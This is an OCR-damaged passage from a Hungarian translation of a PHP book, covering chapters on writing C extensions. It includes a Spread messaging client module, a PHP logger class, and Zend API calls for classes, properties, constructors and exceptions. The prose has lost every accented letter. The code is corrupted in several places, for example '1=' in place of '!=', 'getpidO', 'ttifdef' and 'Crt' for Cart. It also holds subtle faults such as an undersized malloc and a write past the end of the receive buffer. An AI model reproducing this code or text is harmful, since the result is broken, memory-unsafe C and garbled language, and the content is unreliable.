char *hashed_details; int hashed_details_length; int rsrc_id; list_entry *le; hashed_details_length = sizeof("spread__ ") + strlen(spread_name) + strlen(private_name); hashed_details = (char *) emalloc(hashed_details_length); sprintf(hashed_details, "spread_%s_%s", spread_name, private_name); /* keresi a kapcsolatot a maradand erforrsok listjn */ if (zend_hash_find(&EG(persistent_list), hashed_details, hashed_details_length, (void **) &le) == FAILURE) { list_entry new_le; int retval; mbox = (mailbox *) malloc(sizeof(int)); if ((retval = SP_connect(spread_name, private_name, 0, 0, mbox, private_group)) != ACCEPT_SESSION) { zend_error(E_WARNING, "Failed to connect to spread daemon %s, error returned was: %d", spread_name, retval); efree(hashed_details); return 0; } new_le.type = le_pconn; new_le.ptr = mbox; if (zend_hash_update(&EG(persistent_list), hashed_details, hashed_details_length, (void *) &new_le, sizeof(list_entry), NULL) == FAILURE) { SP_disconnect(*mbox); free(mbox); efree(hashed_details); return 0; } } else { /* talltunk ltez kapcsolatot */ if (le->type 1= le_pconn) { // sikertelen visszatrs free(mbox); efree(hashed_details); return 0; } mbox = (mailbox *)le->ptr; }

21. fejezet A PHP bvtse: I. rsz

585

rsrc_id = ZEND_REGISTER_RESOURCE(NULL, mbox, le_pconn); zend_list_addref(rsrc_id); efree(hashed_details); return rsrc_id; }

Most vgre elkszthetjk rgen vrt fggvnyeinket is. Els mvnk a spread_connect () lesz, ami az SP_connect () mkdst valstja meg. Fggvnynk valjban egy egyszer burkol a connect () krl - egy Spread dmon, valamint esetleg egy privt nv paramtert fogad. Ha ez utbbit nem adjk meg, akkor ltrehoz egyet a vgrehajt folyamat azonostja alapjn, s ezt hasznlja. Lssuk, hogyan is fest ez a fggvny:
PHP_FUNCTION(spread_connect) { char *spread_name = NULL; char *private_name = NULL; char *tmp = NULL; int spread_name_len; int private_name_len; int rsrc_id; if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s I s", &spread_name, &spread__name_len, &private_name, &private_name_len) == FAILURE) { return; } if ( !private_name) { tmp = (char *) emalloc(10); snprintf(tmp, MAX_PRIVATE_NAME,"php-%05d", getpidO); private_name = tmp; } rsrc_id = connect(spread_name, private_name); if(tmp) { efree(tmp); } RETURN_RESOURCE(rsrc_id) ; }

Kpesek vagyunk teht kapcsolatok kiptsre - valahogyan szt is kell azokat bontanunk. A spread_disconnect () fggvny megvalstshoz rdemes kiss elszakadnunk az erforrsok megsemmistsnek rendelkezsre ll rendszertl. Ahelyett, hogy a Spread kapcsolathoz tartoz mailbox-ot kibnysznnk az erforrsbl s az SP_disconnect () segtsgvel bezrnnk, tehetnk mst is: egyszeren trljk az erforrst az erforrslistbl - mveletnk hatsra mkdsbe lp az erforrs bejegyzett megsemmist fggvnye, ami meghvja helyettnk az SP_disconnect () -et.

586

PHP fejleszts felsfokon

me fggvnynk kdja: PHP_FUNCTION(spread_disconnect) zval **spread_conn; mailbox *mbox; int id = -1; {

if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &spread_conn) == FAILURE) { return; } zend_list_delete(Z_RESVAL_PP(spread_conn)); RETURN_TRUE; }

A Spread gyfeleknek az zenetek fogadshoz egy csoporthoz kell tartozniuk. E csoportok ltrehozsa nem nehz - egyszeren csatlakoznunk kell egyhez az SP_j oin () ; utastssal, s amennyiben nem ltezik, a fggvny automatikusan ltrehozza. A spread_j oin () mindezt megvalstja majd - egy apr kiegsztssel: egy tmbt tadva itt tbb csoporthoz is csatlakozhatunk. Ennek rdekben msodik paramterknt egy nyers zval rtket adunk t, majd a fggvnyben a tpusnak megfelelen cseleksznk. Ha egy tmbt kapunk, vgighaladunk az elemein, s mindegyik megadott csoporthoz csatlakozunk, egybknt pedig karakterlncc alaktjuk a kapott rtket, s az gy kapott csoporthoz csatlakozunk. Figyeljk meg, hogy az talakts miatt szt kell bontanunk a zval-t a SEPARATE_ZVAL () segtsgvel. lljon most itt a spread_j oin () kdja:
PHP_FUNCTION(spread_join) { zval **group, **mbox_zval; int *mbox, sperrno; if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rz", mbox_zval, group) == FAILURE) { return; } ZEND_FETCH_RESOURCE(mbox, int *, mbox_zval, -1, "Spread-FD", le_conn); SEPARATE_ZVAL(group); if(Z_TYPE_PP(group) == IS_ARRAY) { char groupnames[100][MAX_GROUP_NAME]; zval *tmparr, **tmp; int n = 0; int error = 0; zend_hash_internal_pointer_reset(Z_ARRVAL_PP(group)); while(zend_hash_get_current_data(Z_ARRVAL_PP(group), (void **) &tmp) == SUCCESS && n < 100) { convert_to_string_ex(tmp); if( (sperrno = SP_join(*mbox, Z_STRVAL_PP(tmp)) < 0) {

21. fejezet A PHP bvtse: I. rsz

587

zend_error(E_WARNING, "SP_join error(%d)", sperrno); error = sperrno; } n++; zend_hash_move_forward(Z_ARRVAL_PP(group)); } if (error) { RETURN_LONG(error) ; } } else { convert_to_string_ex(group); if( (sperrno = SP_join(*mbox, Z_STRVAL_PP(group))) < 0) { zend_error(E_WARNING, "SP_join error(%d)", sperrno); RETURN_LONG(sperrno); } } RETURN_LONG(0) ; }

Az adatok fogadsra a Spreadben egyszeren az SP_receive () fggvnyt kell hvnunk az adott Spread mailbox-on. A visszatrsi rtk az zenet mellett ms adatokat is tartalmaz, gy az zenet kldjt (a kld privt nevt), a cmzett csoportokat, valamint az zenet tpust. A spread_receive () az albbiakat kell visszaadja egy trstsos tmb alakjban:
array( message groups message_type sender => => => => 'Message', array( 'groupA1, 'groupB'), RELIABLE_MESS, 'spread_12345');

Maga a fggvny meglehetsen egyszer. rdemes megfigyelnnk a BUFFER_TOO_SHORT hibk kezelst az SP_receive () hvsnl, valamint a return_value rtknek sszelltst: PHP_FUNCTION(spread_receive) { zval **mbox_zval, *groups_zval; int *mbox; int sperrno; int i, endmis, ret, ngrps, msize; int16 mtype; service stype; static int oldmsize = 0; static int oldgsize = 0; static int newmsize = (115); static int newgsize = (16); static char* groups=NULL; static char* mess=NULL; char sender[MAX_GROUP_NAME];

588

PHP fejleszts felsfokon

if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", mbox_zval) == FAILURE) { return; } ZEND_FETCH_RESOURCE(mbox, int *, mbox_zval, NULL, "Spread-FD", le_pconn); try_again: { if(oldgsize != newgsize) { if(groups) { groups = (char*) erealloc(groups, newgsize*MAX_GROUP_NAME); } else { groups = (char*) emalloc(newgsize*MAX_GROUP_NAME); } oldgsize=newgsize; } if(oldmsize != newmsize) { if(mess) { mess = (char *) erealloc(mess, newmsize); } else { mess = (char *) emalloc(newmsize); } oldmsize = newmsize; } if((ret=SP_receive(*mbox, &stype, sender, newgsize, &ngrps, groups, &mtype, &endmis, newmsize, mess))<0) { if(ret==BUFFER_TOO_SHORT) { newmsize=-endmis; newmsize++; msize = oldmsize; goto try_again; } } msize = oldmsize; } /* a Spread nem zrta le null karakterrel, gy neknk kell megtennnk */ mess[msize +1] = '\0'; /* ksz a vlasz; kszen ll a visszatrsi rtk sszelltshoz */ array_init(return_value); add_assoc_stringl(return_value, "message", mess, msize, 1); MAKE_STD_ZVAL(groups_zval); array_init(groups_zval); for(i =0; i < ngrps; i++) { add_index_stringl(groups_zval, i, &groups[i*MAX_GROUP_NAME], strlen(&groups[i*MAX_GROUP_NAME]), 1); }

21. fejezet A PHP bvtse: I. rsz

589

add_assoc_zval(return_value, "groups", groups_zval); add_assoc_long(return_value, "message_type", mtype); add_assoc_stringl(return_value, "sender", sender, strlen(sender) , 1); return;
}

Utols feladatunk az zenetek kldse. Amint a korbbiakban emltettk, a Spread e feladathoz kt fggvnyt is biztost: az SP_multicast () segtsgvel egy, mg az SP_multigroup_multicast () segtsgvel tbb csoport szmra kldhetnk zenetet. Az utbbi nem valsthat meg az elbbi hasznlatval, mivel ez megtrhetn az zenetek rendezst (gy egy msik gyfl esetleg kt csoport zenetei kz egy harmadikat szrhatna be). Kvetkezzk a spread_multicast () kdja: PHP_FUNCTION(spread_multicast) { zval **group = NULL; zval **mbox_zval = NULL; char *message; int *mbox, service_type, mess_type, sperrno, message_length; if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC4, "rlzls", mbox_zval, service_type, group, mess_type, &message, &message_length) == FAILURE) { return; } SEPARATE_ZVAL{group) ZEND_FETCH_RESOURCE(mbox, int *, mbox_zval, -1, "Spread-FD", le_conn); if(Z_TYPE_PP(group) == IS_ARRAY) { char groupnames[100][MAX_GROUP_NAME]; zval *tmparr, **tmp; int n = 0; zend_hash_internal_pointer_reset(Z_ARRVAL_PP(group)); while(zend_hash_get_current_data(Z_ARRVAL_PP(group), (void **) &tmp) == SUCCESS && n < 100) { convert_to_string_ex(tmp); memcpy(groupnames[n], Z_STRVAL_PP(tmp), MAX_GROUP_NAME); n++; zend_hash_move_forward (Z_ARRVAL_PP(group)); } if((sperrno = SP_multigroup_multicast(*mbox, service_type, n, (const char (*)[MAX_GROUP_NAME]) groupnames, mess_type, message_length, message)) <0) { zend_error(E_WARNING, "SP_multicast error(%d)", sperrno); RETURN_FALSE; } }

590

PHP fejleszts felsfokon

else { convert_to_string_ex(group); if (sperrno = (SP_multicast(*mbox, service_type, Z_STRVAL_PP(group), mess_type, message_length, message)) <0) { zend_error(E_WARNING, "SP_mulicast error(%d)", sperrno); RETURN_FALSE; } } RETURN_TRUE; }

Megjegyzs

rdemes megemlteni, hogy a Spread gyfeleknek nem kell felttlenl csatlakozniuk egyetlen csoporthoz sem ahhoz, hogy zenetet kldhessenek - ez csak a fogadshoz szksges. Amikor csatlakozunk egy csoporthoz, a Spreadnek trolnia kell minden olyan zenetet, ami mg nem jutott el hozznk ne dolgoztassuk feleslegesen.

Mr csak az maradt htra, hogy bejegyezzk fggvnyeinket. Elszr hatrozzuk meg a fggvnytblt: function_entry spread_functions[] = { PHP_FE(spread_connect, NULL) PHP_FE(spread_multicast, NULL) PHP_FE(spread_disconnect, NULL) PHP_FE(spread_join, NULL)
PHP_FE(spread_receive, NULL) {NULL, NULL, NULL} }; Ezutn bejegyezzk a modult: zend_module_entry spread_module_entry = { STANDARD_MODULE_HEADER, "spread", spread_funct ions, PHP_MINIT(spread), NULL, NULL, NULL, PHP_MINFO(spread), "1.0",

21. fejezet A PHP bvtse: I. rsz

591

STANDARD_MODULE_PROPERTIES }; ttifdef COMPILE_DL_SPREAD ZEND_GET_MODULE(spread) #endif

A Spread modul hasznlata


Ha a fejezetnkben bemutatott lpsek szerint fordtottuk s teleptettk a Spread modult, az hasznlatra ksz. Az albbiakban bemutatunk egy naplz osztlyt, melynek segtsgvel tetszleges zenetet kldhetnk egy Spread csoportnak:
<?php if(!extension_loaded("spread")) { dl("spread.so") ; } class Spread_Logger { public $daemon; public $group; privt $conn; public function___ construct($daemon, $group) { $this->daemon = $daemon; $this->group = $group; $this->conn = spread_connect($daemon);
}

public function send($message) { return spread_multicast($this->conn, 0, $this->group, SP_REGULAR_MESS, $message);


} } ?>

A Spread_Logger osztly konstruktorban csatlakozik a Spreadhez, a send() tagfggvny pedig a spread_multicast () fggvny burkoljaknt mkdik. lljon itt egy plda az osztly hasznlatra, ami csatlakozik a helyi Spread dmonhoz, s egy tesztzenetet kld a test csoporthoz:
<?php $spread = new Spread_Logger("127.0.0.1:4803 " , "test"); $spread->send("This is a test message."); ?>

592

PHP fejleszts felsfokon

Tovbbi olvasmnyok
A PHP bvtmnyeinek ksztsre vonatkozan tallhatunk nmi olvasnivalt a PHP dokumentcijban a http: / /www.php. net/manul/en/ zend. php cmen. Jellemzi e terlet irodalmt az itt tallhat beszdes cm: Akik rtik, nem beszlnek. Akik nem rtik, beszlnek." Fejezetnkben prbltunk nmi cfolattal szolglni. Jim Winstead a bvtmnyek rsrl szl folyamatosan bvl eladssorozatnak (Hacking the PHP Sourc) legjabb vltozatt a http: / /talks .php. net/show/ hacking-fall-2003 cmen lelhetjk fel. A Spread gyfl burkol bvtmnyt megtallhatjuk a PECL bvtmnyknyvtrban, a http://pecl.php.net/spread cmen.

A PHP bvtse: II. rsz


Az elz fejezetben megismerkedtnk a bvtmnyek ksztsnek alapjaival, itt az ideje ht, hogy nhny magasabb szint lehetsggel is foglalkozzunk. Megtanuljuk, miknt kszthetnk bvtmnyeinkben osztlyokat s objektumokat, sajt munkamenet-kezelket runk, s megismerkednk a folyamkezel API hasznlatval is.

Osztlyok megvalstsa
A PHP 5 legnagyobb jdonsga a 4-es vltozathoz kpest az j objektummodell volt, s ennek megfelelen a bvtmnyek terletn is az osztlyok s az objektumok kezelsben llt be a legjelentsebb vltozs. A 21. fejezetben bemutatott eljrskzpont bvtmny kdja szinte teljesen megfelel a PHP 4-nek. Ebben sokat segtenek a makrk, amelyek lehetv teszik a bels trst anlkl, hogy a krlttk lev kdot meg kellene vltoztatnunk. Az osztlyok kdja azonban jelentsen klnbzik a PHP 5-s s 4-es vltozatban - s itt nemcsak a Zend Engine bels vltozsairl van sz, hanem az alapvet nyelvi felptsrl is. Ez azt jelenti, hogy br az osztlyok ltrehozsnak egyes mozzanatai vltozatlanok maradtak, nagy rszk jelentsen mdosult. Ha j osztlyt szeretnnk ltrehozni, elszr ltre kell hoznunk s be kell jegyeznnk a hozz tartoz zend_class_entry adattpust, melynek szerkezete gy fest: struct _zend_class_entry { char type; char *name; zend_uint name_length; struct _zend_class_entry *parent; int refcount; zend__bool constants_updated; zend_uint ce_flags; HashTable function_table; HashTable default_properties; HashTable properties_info;

594

PHP fejleszts felsfokon

HashTable *static_members; HashTable constants_table; struct _zend_function_entry *builtin_functions; unin unin unin unin unin unin _zend_function _zend_function _zend_function _zend_function _zend_function _zend_function *constructor; *destructor; *clone; *__ get; *__ set; *__ call;

zend_class_iterator_funcs iterator_funcs; /* kezelk */ zend_object_value (*create_object)(zend_class_entry *class_type TSRMLS_DC); zend_object_iterator *(*get_iterator) (zend_class_entry *ce, zval *object TSRMLS_DC); int (*interface_gets_implemented) (zend_class_entry *iface, zend_class_entry *class_type TSRMLS_DC); zend_class_entry **interfaces; zend_uint num_interfaces; char *filename; zend_uint line_start; zend_uint line_end; char *doc_comment; zend_uint doc_comment_len; };

Nos, ez nem kicsi, br szerencsnkre hasznlatban sokat segtenek a makrk. rdemes szrevennnk a kvetkezket: A szerkezetben hasttblkat tallhatunk minden tagfggvnyhez, llandhoz, statikus tulajdonsghoz, valamint alaprtelmezett tulajdonsgrtkhez. Jllehet a szerkezet rendelkezik egy sajt hasttblval a tagfggvnyek szmra, kln zend_f unction elemek llnak rendelkezsre a konstruktrhz, a destruktorhoz, a klnozshoz, valamint a fellr tagfggvnyekhez.

22. fejezet A PHP bvtse: II. rsz

595

j osztly ltrehozsa
Ez egy res osztly. class Empty {} Egy ilyen osztly ltrehozshoz csak pr egyszer lpsre van szksg. Elszr is, a bvtmny f hatkrben hozzunk ltre egy zend_class_entry mutatt - ebben jegyezzk majd be osztlyunkat: static zend_class_entry *empty_ce__ptr; Ezutn osztlyunk elksztshez a MINIT kezelben az INIT_CLASS_ENTRY () makrt hasznljuk, majd a zend_register_internal_class () fggvnnyel fejezzk be a bejegyzst: PHP_MINIT_FUNCTION(crt)
{

zend_class_entry empty_ce; INIT_CLASS_ENTRY(empty_ce, "Empty", NULL); empty_ce_ptr = zend_register_internal_class(&empty_ce);


}

Az empty_ce itt egyszeren egy trol az osztly adatainak elksztshez, mieltt tadnnk a zend_register_internal_function () szmra, ami bejegyzi az osztlyt a globlis osztlytblba, feltlti a tulajdonsgokat, elkszti a konstruktorokat, s elvgzi a tovbbi szksges teendket. Az INIT_CLASS_ENTYRY () tveszi a zend_class_entry trolt (amely, mint a 21. fejezetben lthattuk, nem egyszer adatszerkezet), s jellemzit a szabvnyos alaprtelmezett rtkekre lltja. Az INIT_CLASS_ENTRY () msodik paramtere a bejegyezni kvnt osztly neve, a harmadik pedig - ami esetnkben NULL rtk - az osztly tagfggvnytblja. Az empty_ce_ptr egy l" mutat, amely a globlis fggvnytblban elhelyezked osztlyra mutat. Rendesen egy osztly elrshez meg kell keresni a nevt egy globlis hasttblban - ha azonban trolunk egy r irnyul statikus mutatt a bvtmnyben, megtakarthatjuk ezt a keresst. A zend_register_internal_class () hasznlatnl a motor tudja, hogy osztlyunkat maradandnak szntuk, vagyis a fggvnyekhez hasonlan ezt is csak egyszer kell betlteni a globlis osztlytblbl a kiszolgl indulsakor. Persze egy osztly, melynek se tulajdonsgai, se tagfggvnyei nincsenek, sem rdekesnek, sem hasznosnak nem mondhat. Javtsunk a helyzeten, elszr a tulajdonsgok hozzadsval.

596

PHP fejleszts felsfokon

Tulajdonsgok hozzadsa
A PHP osztlyok pldnytulajdonsgai lehetnek dinamikus tulajdonsgok (ezek kizrlag az adott pldnyhoz tartoznak), vagy alaprtelmezett tulajdonsgok (ez esetben az osztlyhoz tartoznak). Utbbiak nem statikus tulajdonsgok - minden pldny rendelkezik egy-egy msolattal bellk. A dinamikus pldnytulajdonsgok meghatrozsa ugyanakkor nem szerepel az osztly meghatrozsban - ezeket akkor hozzk ltre, amikor az objektum mr ltrejtt. A dinamikus pldnyvltozkat tbbnyire az osztly konstruktorban hatrozzk meg, valahogy gy: class example { public function _____ constructor()
{

$this->instanceProp
} }

' d e fa u l t ' ;

A PHP 5 lehetv teszi ugyan az ehhez hasonl pldnyvltozk dinamikus ltrehozst, de ennek oka leginkbb csak a visszamenleges megfelelsg a 4-es vltozattal. A dinamikus pldnytulajdonsgokkal ugyanis van kt komoly gond: Mivel nem rszei az osztly bejegyzsnek, nem rklhetk. Mivel nem rszei az osztly bejegyzsnek, nem lthatk a visszatekint (reflection) API-n keresztl. A PHP 5-ben ajnlatos a vltozkat az osztly meghatrozsban megadni: class example { public $instanceProp =
}

'd efa ul t ';

A PHP 4-ben szoks volt az sszes bvtmnyi osztlytulajdonsgot dinamikus pldnytulajdonsgknt meghatrozni, rendszerint az osztlykonstruktorban. A PHP 5-ben a bvtmny osztlyai jobban hasonltanak az egyszer PHP osztlyokhoz (legalbbis a nyilvnos felletk). Ez azt jelenti, hogy ltrehozhatunk egy HasProperties bvtmnyi osztlyt, az albbiak szerint: class HasProperties { public $public_property = ' d e fa u l t ' ; public $unitialized_property; protected $protected_property; privt $private_property;
}

22. fejezet A PHP bvtse: II. rsz

597

Tl ezen, osztlyunk hagyomnyos PHP osztlyknt viselkedik akkor is, amikor rklsrl vagy PPP-rl van sz. Mindehhez persze szksg van nhny segdfggvny hathats kzremkdsre: zend_declare_property(zend_class_entry *ce, char *name, int name__length, zval *property, int access_type TSRMLS_DC) ; zend_declare_property_null (zend_class_entry *ce, char *name, int name_length, int access_type TSRMLS_DC) ; zend_declare_property_long(zend_class_entry *ce, char *name, int name_length, long value, int access_type TSRMLS_DC) ; zend_declare_property_string(zend_class_entry *ce, char *name, int name_length, char *value, int access_type TSRMLS_DC) ; A ce azt az osztlyt jelli, amelyben a tulajdonsgot el szeretnnk helyezni. A name a tulajdonsg nevt takarja, a nv karakterlncnak hossza pedig a name_length rtke. Vgl, az access_type egy jelz, amely a tulajdonsg elrsi jellemzit adja meg. Az albbiak e jelz belltsi maszkjnak bitjei: mask
ZEND_ACC_STATIC ZEND_ACC_ABSTRACT ZEND_ACC_FINAL ZEND_ACC_INTERFACE ZEND_ACC_PUBLIC ZEND_ACC_PROTECTED ZEND_ACC_PRIVATE

A tulajdonsgmeghatrozsi fggvnyt rgtn az osztly bejegyzse utn kell hasznlnunk. Az albbiakban bemutatjuk a HasProperties C megvalstst:

Megjegyzs

A tisztbb kd kedvrt az osztly bejegyzst egy segdfggvnyben klntettem el, melyet a PHP_MINIT_FUNCTION () -bi hvunk meg. A jl kezelhet kd alapfelttele a tisztasg s az rtelmes rszekre oszts.

static zend_class_entry *has_props_ptr; void register_HasProperties(TSRMLS_D)


{

zend_class_entry ce; zval *tmp;

598

PHP fejleszts felsfokon

INIT_CLASS_ENTRY(ce, "HasProperties", NULL); has_props_ptr = zend_register_internal_class(&ce TSRMLS_CC); zend_declare_property_string(has_props_ptr, "public_property", strlen("public_property"), "default", ACC_PUBLIC); zend_declare_property_null(has_props_ptr, zend_declare_property_null(has_props_ptr, "uninitialized_property", strlen("uninitialized_property"), ACC_PUBLIC) ; zend_declare_property_null(has_props_ptr, "protected_property", strlen("protected_property"), ACC_PROTECTED) ; zend_declare_property_null(has_props_ptr, "private_property", strlen("private_property"), ACC_PRIVATE); } PHP_MINIT_FUNCTION(example) { register_HasProperties(TSRMLS_CC); }

Osztlyrkls
Ha egy osztlyt egy msik rkseknt szeretnnk bejegyeztetni, az albbi fggvnyt kell hasznlnunk: zend_class_entry *zend_register_internal_class_ex(zend_class_entry *class_entry, zend_class_entry *parent_ce, char *parent_name TSRMLS_DC) ; A class_entry a bejegyezni kvnt osztly. A msik osztly, amelybl rklnk, megadhat egy mutatval, ami a hozz tartoz zend_class_entry szerkezetre mutat (parent_c), vagy egyszeren a nevvel (parent_name). gy ha pldul egy ExampleException nev osztlyt szeretnnk ltrehozni az Exception bvtmnyeknt, az albbiakat rhatjuk: static zend_class_entry *example_exception_ptr; void register_ExampleException(TSRMLS_DC) zend_class_entry *ee_ce; zend_class_entry *exception_ce = zend_exception_get_default() ; INIT_CLASS_ENTRY(ee_ce, "ExampleException", NULL); example_exception_ptr = zend_register_internal_class_ex(ee_ce, exception_ce, NULL TSRMLS_CC) ;
}

22. fejezet A PHP bvtse: II. rsz PHP_MINIT_FUNCTION(example) { register_ExampleException(TSEMLS_CC);


}

599

Pldnk kdja csaknem megegyezik a korbban az osztlybejegyzsnl ltottakkal (j osztly ltrehozsa) - egyetlen lnyeges klnbsggel. Most egy, az Exception osztly zend_class_entry szerkezetre hivatkoz mutatt adunk t (melyet a zend_exception_get_def ault () segtsgvel kaptunk meg) a zend_register_internal_class_ex () msodik paramtereknt. Mivel ismerjk az osztly bejegyzst, nincs szksg a parent__name tadsra.

Privt tulajdonsgok Az osztlyok privt tulajdonsgainak meghatrozsa kiss fura gy, mg ha ez ebben a pillanatban nem is ltszik. E tulajdonsgok nem rhetk el az osztlyon kvlrl, illetve a szrmaztatott osztlyokban, vagyis valban bels hasznlatra kszltek. Ezrt tbb rtelme lenne itt C struktrkat vagy sajt tpusokat hasznlni. Hamarosan ltjuk, miknt addik erre md.

Tagfggvnyek hozzadsa
A tulajdonsgok ltrehozsa utn kvetkez teendnk a tagfggvnyek ltrehozsa. A PHP programozsban nyert tapasztalataink szerint a tagfggvnyek csak kicsit tbbek a fggvnyeknl. Ez a kicsit tbb" azt jelenti, hogy hvsi krnyezetk az osztlyuk, tovbb (amennyiben nem statikus tagfggvnyekrl van sz) megkapjk az ppen aktulis objektumot. A bvtmnyek esetben az alapelvek ugyanezek. A bvtmnyi osztlyok tagfggvnyei belsleg a zend_function tpusban jelennek meg, meghatrozsukra pedig a ZEND_METHOD () makr ad lehetsget. A hv objektumhoz ($this) a getThis () fggvnnyel juthatunk hozz, amely egy zval mutatt ad vissza az objektum lerjhoz. A tulajdonsgok bels elrsben a Zend API az albbi elrfggvnnyel segti munknkat: zval *zend_read_property(zend_class_entry *scope, zval *object, char *name, int name_length, zend_bool slent TSRMLS_DC); Ez a fggvny megkeresi a name nev tulajdonsgot a scope osztly object objektumban, s a megfelel zval rtkkel tr vissza. A silent segtsgvel bellthatjuk, hogy szeretnnk-e figyelmeztet jelzst kapni, ha nem ltezik a keresett tulajdonsg.

600

PHP fejleszts felsfokon

A fggvny hasznlatnak megszokott mdja a kvetkez: zval *data, *obj ; obj = getThis(); data = zend_read_property(Z_OBJCE_P(obj), obj, "property", strlen("property"), 1 TSRMLS_CC); A tulajdonsg hasttbljnak elrsre a Z_OBJPROP_P (obj ) vizsglatval kzvetlenl is van lehetsgnk, de erre igen ritkn van szksg. A zend_read_properties () kivlan kezeli az rklt, a privt s a vdett tulajdonsgokat, valamint a sajt elrfggvnyeket. Hasonlkppen, az objektum hasttbljt sem rdemes kzvetlenl frisstennk, hiszen hasznlhatjuk a zend_update_property () fggvnyek egyikt. A legegyszerbb frisstsi fggvny a kvetkez: void zend_update_property(zend_class_entry *scope, zval *object, char *name, int name_length, zval *value TSRMLS_DC); Ez a scope osztly object objektuma name nev tulajdonsgnak a value rtket adja. A tmbkhz hasonlan itt is lteznek knyelmi fggvnyek, melyek segtsgvel a tulajdonsgok rtkeit C alaptpusokkal adhatjuk meg. Lssuk, melyek ezek a fggvnyek: void zend_update_property_null(zend_class_entry *scope, zval *object, char *name, int name_length TSRMLS_DC) ; void zend_update_property_long(zend_class_entry *scope, zval *object, char *name, int name_length, long value TSRMLS_DC); void zend_update_property_string(zend_class_entry *scope, zval *object, char *name, int name_length, char *value TSRMLS_DC); A fggvnyek mkdse megegyezik a korbban bemutatott zend_declare_property () fggvnyekvel. A tulajdonsgok hasznlatnak gyakorlati bemutatsra nzzk az albbi PHP kdot, melyet a PHP kziknyvnek klasszikus objektumkzpont programozsi pldjbl vettnk: class Crt {
public $items; function num_items() { return count($this->items); } }

22. fejezet A PHP bvtse: II. rsz

601

Feltve, hogy a Crt osztlyt mr meghatroztuk a bvtmnyben, a num_items () tagfggvny gy rhat fel: PHP_FUNCTION(cart_numitems) { zval *object; zval *items; HashTable *items_ht; object = getThisO; items = zend_read_property(Z_OBJCE_P(object), object, "items", strlen("items"), 1 TSRMLS_CC), if(items) { if(items_ht = HASH_OF(items)) { RETURN_LONG(zend_hash_num_elements(items_ht)); } } RETURN_FALSE; } Ahhoz, hogy ezt bejegyezzk az osztlyunkban, elksztjk a cart_methods tagfggvnytblt, s a Crt elksztsnl tadjuk az INIT_CLASS_ENTRY () -nek: static zend_class_entry *cart_ce_ptr; static zend_function_entry cart_methodst] = { ZEND_ME(cart, numitems, NULL, ZEND_ACC_PUBLIC) {NULL, NULL, NULL}
};

void register_cart()
{

zend_class_entry ce; INIT_CLASS_ENTRY(ce, " C r t " , cart_methods); cart_ce_ptr = zend_register_internal_class(*ce TSRMLS_CC); zend_declare_property_null(has_props_ptr, "items", strlen("items"), ACC_PUBLIC); } PHP_MINIT_FUNCTION(crt) { register_cart();
}

602

PHP fejleszts felsfokon

Figyeljk meg, hogy a zend_function_entry tmb kiss eltr a megszokottl. Most a PHP_FE(cart_numitems, NULL) helyett a ZEND_ME (crt, numitems, NULL, ZEND_ACC_PUBLIC) ll. Ez lehetv teszi, hogy a ZEND_METHOD(cart, numitems) ltal meghatrozott fggvnyt a crt osztly numitems nyilvnos tagfggvnyeknt jegyezzk be. Ezzel a mdszerrel megolddik a nevek kiegsztse, gy elkerlhetjk a fggvnynevek tkzst, mikzben a tagfggvnyek s osztlyok nevei egyszerek maradhatnak.

Konstruktrk hozzadsa
A tagfggvnyek elnevezsben klnleges esetet jelent a konstruktr, a destruktor s a kln. A felhasznli PHP kdokhoz hasonlan itt is a_____ construct,______destruct, illetve __ clone neveket kapjk. Ezen kvl e fggvnyek semmiben nem tnnek ki a tbbi kzl. Az albbi konstruktr lehetv teszi, hogy egy objektumot adjunk t a Crt osztlynak:
class Crt { public $items; public function __ construct($item) {

$this->items[] = $item;
}

/* ... */
}

A C-ben ez gy fest: ZEND_METHOD(cart, __ construct) {


zval *object; zval *items; zval *item; if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "z", &item) == FAILURE) { return; } object = getThisO; MAKE_STD_ZVAL(items); array_init(items); add_next_index_zval(items, item); zend_declare_property(Z_OBJCE_P(object), object, "items", strlen("items"), items, ZEND_ACC_PUBLIC TSRMLS_CC); }

22. fejezet A PHP bvtse: II. rsz

603

j fggvnynket a bejegyzshez mindssze el kell helyeznnk a cart_methods tmbben: static zend_function_entry cart_methods[] = { ZEND_ME(cart, __ construct, NULL, ZEND_ACC_PUBLIC), ZEND_ME(cart, numitems, NULL, ZEND_ACC_PUBLIC) , {NULL, NULL, NULL} }; PHP_MINIT(cart) {
}

Kivtelek kivltsa
Ha j hibakezel rendszerre van szksgnk, bvtmnyeinknek is kpess kell vlnia kivtelek kivltsra. Persze sokak szmra ez nem ennyire egyrtelm, hiszen a PHP fejlesztk krben folyamatosan vitznak azon, hogy rdemes-e a bvtmnyekben kivteleket hasznlni. Leggyakrabban az az ellenrvek alapja, hogy nem felttlenl szerencss a fejlesztket bizonyos kdolsi mdszerekre knyszerteni. A legtbb bvtmny sajt hasznlatra kszl. A kivtelek nagyszer segtsget adhatnak, gy ha szeretjk ket a PHP kdban hasznlni, a bvtmnyekben se tartsuk vissza magunkat ettl. Az Exception osztlybl szrmaz kivtel kivltsa igen egyszer feladat. Legjobban akkor jrunk, ha az albbi segdfggvnyt hasznljuk: void zend_throw_exception(zend_class_entry *exception_ce, char *message, long code TSRMLS_DC); Alkalmazsnl meg kell adnunk egy osztlyt (exception_c), egy zenetet (message) s egy kdot {code). Az albbiakban egy Exception objektumot vltunk ki kivtelknt: zend_throw_exception(zend_exception_get_default() , 1 TSRMLS_CC); "This is a test",

Ltezik tovbb egy knyelmi fggvny, amely lehetv teszi az zenet karakterlncnak formzst: void zend_throw_exception_ex(zend_class_entry *excepton_ce, long code TSRMLS_DC, char * formt,

...);

604

PHP fejleszts felsfokon

Figyeljk meg, hogy a code most az els helyen szerepel, mg a zend_throw__exception () message paramtere helyett a formt s meghatrozatlan szm paramter ll. Az albbi kdsorban egy kivtelt vltunk ki, amely megadja a megfelel fjl nevt s a hibs sor szmt a C forrskdban: zend_throw_exception_ex(zend_exception_get_default(), 1, "Exception at % s : % d " , ___ FIL__ ,____ LINE__ ) ; Ha nem Exception tpus kivtelt szeretnnk kivltani, t kell rnunk az object_init_exbeli zend_class_entry mutatt sajt osztlyunkra. Amennyiben olyan kivtelt szeretnnk alkalmazni, ami nem az Exception osztlybl szrmazik, magunknak kell ltrehoznunk a megfelel objektumot, s erre lltanunk az EG (exc ept i on) -t.

